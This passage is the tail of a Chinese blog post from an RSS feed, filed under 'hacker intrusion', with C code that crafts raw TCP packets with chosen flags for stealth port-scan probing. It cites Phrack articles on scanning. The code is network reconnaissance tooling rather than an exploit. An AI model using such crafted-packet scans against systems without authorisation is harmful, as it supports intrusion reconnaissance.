//修改这里来实现不同的标志位探测，2是SYN，1是FIN，16是ACK探测 等等 <br>tcpHeader.th_win=htons(512); <br>tcpHeader.th_urp=0; <br>tcpHeader.th_sum=0; <br><br>psdHeader.saddr=ipHeader.sourceIP; <br>psdHeader.daddr=ipHeader.destIP; <br>psdHeader.mbz=0; <br>psdHeader.ptcl=IPPROTO_TCP; <br>psdHeader.tcpl=htons(sizeof(tcpHeader)); <br><br>//计算校验和 <br>memcpy(szSendBuf, &amp;psdHeader, sizeof(psdHeader)); <br>memcpy(szSendBuf+sizeof(psdHeader), &amp;tcpHeader, sizeof(tcpHeader)); <br>tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)); <br><br>memcpy(szSendBuf, &amp;ipHeader, sizeof(ipHeader)); <br>memcpy(szSendBuf+sizeof(ipHeader), &amp;tcpHeader, sizeof(tcpHeader)); <br>memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4); <br>ipHeader.checksum=checksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)); <br><br>memcpy(szSendBuf, &amp;ipHeader, sizeof(ipHeader)); <br><br>rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), <br>0, (struct sockaddr*)&amp;addr_in, sizeof(addr_in)); <br>if (rect==SOCKET_ERROR) <br>{ <br>printf(&quot;send error!:%d<br>&quot;,WSAGetLastError()); <br>return false; <br>} <br>else <br>printf(&quot;send ok!<br>&quot;); <br><br>closesocket(sock); <br>WSACleanup(); <br><br>return 0; <br>} <br><br>------------------------------------------- <br><br>reference： <br><br>1、《Breaking into computer networks from the Internet》 Roelof Temmingh &amp; SensePost (Pty) Ltd <br>2、Phrack #49，《Port Scanning without the SYN flag》 <br>3、Phrack #51，《The Art of Port Scanning》 <br>4、Sys-Security Group《ICMP Usage in Scanning》 <!--v:3.2--> ]]></description>
<category><![CDATA[黑客入侵]]></category>
<author><![CDATA[419824654@qq.com(冰河)]]></author>
<comments>http://419824654.qzone.qq.com/blog/1220563067#comment</comments>
<qz:effect>512</qz:effect>
<pubDate>Thu, 04 Sep 2008 21:17:47 GMT</pubDate>
<guid>http://419824654.qzone.qq.com/blog/1220563067</guid>
</item>

</channel>
</rss>

